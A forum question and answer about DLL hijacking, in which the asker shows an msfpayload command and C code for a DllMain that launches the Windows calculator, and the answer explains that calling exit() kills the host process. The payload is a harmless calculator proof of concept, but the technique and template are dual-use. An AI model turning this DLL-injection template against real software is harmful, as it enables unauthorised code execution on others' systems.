Dll Hijacking calculator C code

Question

Hi guys I am new to Dll Hijacking. I have few problems and I hope that you would help me clarify my doubts.

Suppose I used msfpayload to generate a calc dll

msfpayload windows/exec CMD=calc.exe D > abc.dll

The dll file generated by msfpayload works fine, and the calculator prompts along with the software.

So I used the following C code:

#include <windows.h>

int owned()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  owned();
  return 0;
}

When I compiled this and used only Calculator would prompt. The software won't execute. why is that? I used MinGW GCC compiler to compile.

Answer 1

The software won't execute. [W]hy is that?

Almost certainly because owned() calls exit(). This terminates the process.